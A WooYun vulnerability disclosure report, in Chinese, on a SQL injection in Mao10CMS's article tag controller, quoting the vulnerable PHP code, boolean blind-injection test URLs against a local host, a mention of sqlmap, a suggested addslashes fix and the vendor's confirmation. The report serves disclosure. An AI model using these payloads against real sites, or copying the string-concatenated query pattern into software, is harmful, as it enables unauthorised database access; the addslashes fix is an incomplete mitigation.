当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096633

漏洞标题:Mao10CMS SQL注入

相关厂商:mao10.com

漏洞作者: xiaoL

提交时间:2015-02-16 13:47

修复时间:2015-05-17 14:30

公开时间:2015-05-17 14:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-16: 细节已通知厂商并且等待厂商处理中
2015-02-16: 厂商已经确认,细节仅向厂商公开
2015-02-19: 细节向第三方安全合作伙伴开放
2015-04-12: 细节向核心白帽子及相关领域专家公开
2015-04-22: 细节向普通白帽子公开
2015-05-02: 细节向实习白帽子公开
2015-05-17: 细节向公众公开

简要描述:

Mao10CMS SQL注入

详细说明:

漏洞文件:
Application\Article\Controller\IndexController.class.php

public function tag($tag,$page=1){
if(is_numeric($page)) { //传参过滤
$condition['type'] = 'article';
$date = strtotime("now");
$args_id = M('meta')->where("meta_key='tag' AND meta_value='$tag' AND type='basic'")->getField('page_id',true);//$tag直接带入了
$condition['id'] = array('in',$args_id);
$this->page = M('page')->where($condition)->order('date desc')->page($page,mc_option('page_size'))->select();//由于这里还有一句,所有用盲注
$count = M('page')->where($condition)->count();
$this->assign('id',$id);
$this->assign('count',$count);
$this->assign('page_now',$page);
$this->theme(mc_option('theme'))->display('article/term');
} else {
$this->error('参数错误!');
}
}

漏洞证明:

本地测试连接:
http://127.0.0.1/index.php?m=article&c=index&a=tag&tag=%E4%BF%9D%E8%AF%81
真:http://127.0.0.1/index.php?m=article&c=index&a=tag&tag=%E4%BF%9D%E8%AF%81%27)%20and%201=1--%201

11.png


假:http://127.0.0.1/index.php?m=article&c=index&a=tag&tag=%E4%BF%9D%E8%AF%81%27)%20and%201=2--%201

22.png


可以直接用sqlmap

33.png

修复方案:

参数转义
addslashes(str)

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-16 14:29

厂商回复:

感谢提示

最新状态:

暂无